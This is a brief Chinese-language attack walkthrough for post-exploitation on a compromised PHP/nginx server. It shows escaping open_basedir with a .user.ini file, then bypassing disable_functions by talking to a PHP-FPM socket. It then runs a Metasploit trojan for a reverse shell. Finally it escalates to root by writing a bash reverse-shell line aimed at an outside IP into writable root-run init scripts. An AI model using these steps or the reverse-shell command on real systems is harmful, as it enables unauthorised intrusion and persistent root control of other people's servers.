获取webshell的操作就不铺开讲了,都是常规手法。
拿到webshell之后,通过phpinfo看到disable_functions配置限制的函数,且目录权限受到open_basedir的限制,能执行系统命令的函数都被禁用,常规蚁剑提供的绕过方式也都被封锁,但是从phpinfo文件里发现系统上运行着FPM/FastCGI和nginx。
- 一、突破webshell目录限制:
在当前目录下新建.user.ini文件添加open_basedir绕过php.ini的全局限制。
open_basedir = :/
- 二、绕过disable_functions:
然后通过蚁剑进入文件管理发现tmp目录下有/tmp/php-cgi-56.sock文件,可以利用蚁剑插件绕过disable_functions,攻击fpm,直接与fpm通信,利用fpm绕过disable_functions。
之后用msf生成linux木马,通过绕过disable_functions得到的webshell执行木马,反弹交互式shell到自己的服务器。
- 三、提权手法:
通过提权脚本发现服务器上有部分应用的配置文件具有可写权限,且用root权限运行,如:
/etc/init.d/pure-ftpd
/etc/init.d/php-fpm-56
/etc/init.d/nginx
将反弹shell的语句:nohup bash -i >& /dev/tcp/xx.xx.xx.xx/80 0>&1 & 写入配置文件中,服务器开启监听,等待应用重启或者查看状态等,我们自己的服务器将收到root反弹回来的shell。